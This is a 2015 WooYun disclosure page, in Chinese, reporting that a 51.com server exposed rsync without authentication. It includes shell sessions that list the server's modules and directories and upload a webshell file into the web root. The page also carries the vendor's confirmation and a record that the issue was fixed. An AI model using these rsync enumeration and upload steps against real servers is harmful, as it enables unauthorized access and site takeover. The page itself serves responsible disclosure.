当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091510

漏洞标题:51.com某站getshell

相关厂商:51.com

漏洞作者: boooooom

提交时间:2015-01-12 22:43

修复时间:2015-02-26 22:44

公开时间:2015-02-26 22:44

漏洞类型:应用配置错误

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-13: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向核心白帽子及相关领域专家公开
2015-02-02: 细节向普通白帽子公开
2015-02-12: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

RT

详细说明:

rsync未授权操作,多个域名绑定的服务器可被入侵,/opt/dbbackup/包含备份数据库

[[email protected] ~]# rsync 101.251.197.211::
sds sds.51.com
[[email protected] ~]# rsync 101.251.197.211::sds
drwxr-xr-x 4096 2015/01/05 21:56:55 .
drwxr-xr-x 4096 2014/01/10 11:29:59 admin.sds.51.com
drwxr-xr-x 4096 2014/01/09 00:44:45 api.sds.51.com
drwxr-xr-x 4096 2015/01/04 18:12:44 channel
drwxr-xr-x 4096 2014/04/06 23:57:03 core.sds
drwxr-xr-x 4096 2014/03/24 21:20:56 gm.sds.51.com
drwxr-xr-x 4096 2014/01/18 18:11:03 gw.sds.51.com
drwxr-xr-x 4096 2014/01/09 00:44:45 s.sds.51.com
drwxr-xr-x 4096 2014/03/21 14:03:23 sds.51.com
[[email protected] ~]# rsync 101.251.197.211::sds/api.sds.51.com
drwxr-xr-x 4096 2014/01/09 00:44:45 api.sds.51.com
[[email protected] ~]# rsync 101.251.197.211::sds/api.sds.51.com/
drwxr-xr-x 4096 2014/01/09 00:44:45 .
drwxr-xr-x 4096 2014/07/15 13:17:15 config
drwxr-xr-x 4096 2014/12/22 15:02:16 control
drwxr-xr-x 4096 2014/12/19 16:11:49 helper
drwxr-xr-x 4096 2014/10/16 11:43:11 model
drwxr-xr-x 4096 2015/01/12 22:10:26 wwwroot

漏洞证明:

上传shell
http://api.sds.51.com/help1.php

[[email protected] ~]# rsync -avz help1.php 101.251.197.211::sds/api.sds.51.com/wwwroot/
sending incremental file list
help1.php
sent 102 bytes received 27 bytes 86.00 bytes/sec
total size is 32 speedup is 0.25


shell.jpg

修复方案:

访问控制

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-13 09:28

厂商回复:

确认并复现所述情况,处理中

最新状态:

2015-02-10:已修复